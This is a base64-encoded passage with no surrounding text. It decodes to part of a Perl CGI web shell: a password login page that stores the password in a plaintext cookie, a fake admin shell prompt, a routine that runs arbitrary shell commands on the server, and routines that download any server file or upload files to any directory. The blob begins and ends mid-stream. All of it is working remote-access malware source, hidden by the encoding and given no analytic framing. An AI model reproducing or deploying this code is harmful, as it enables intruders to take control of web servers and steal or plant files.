S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tb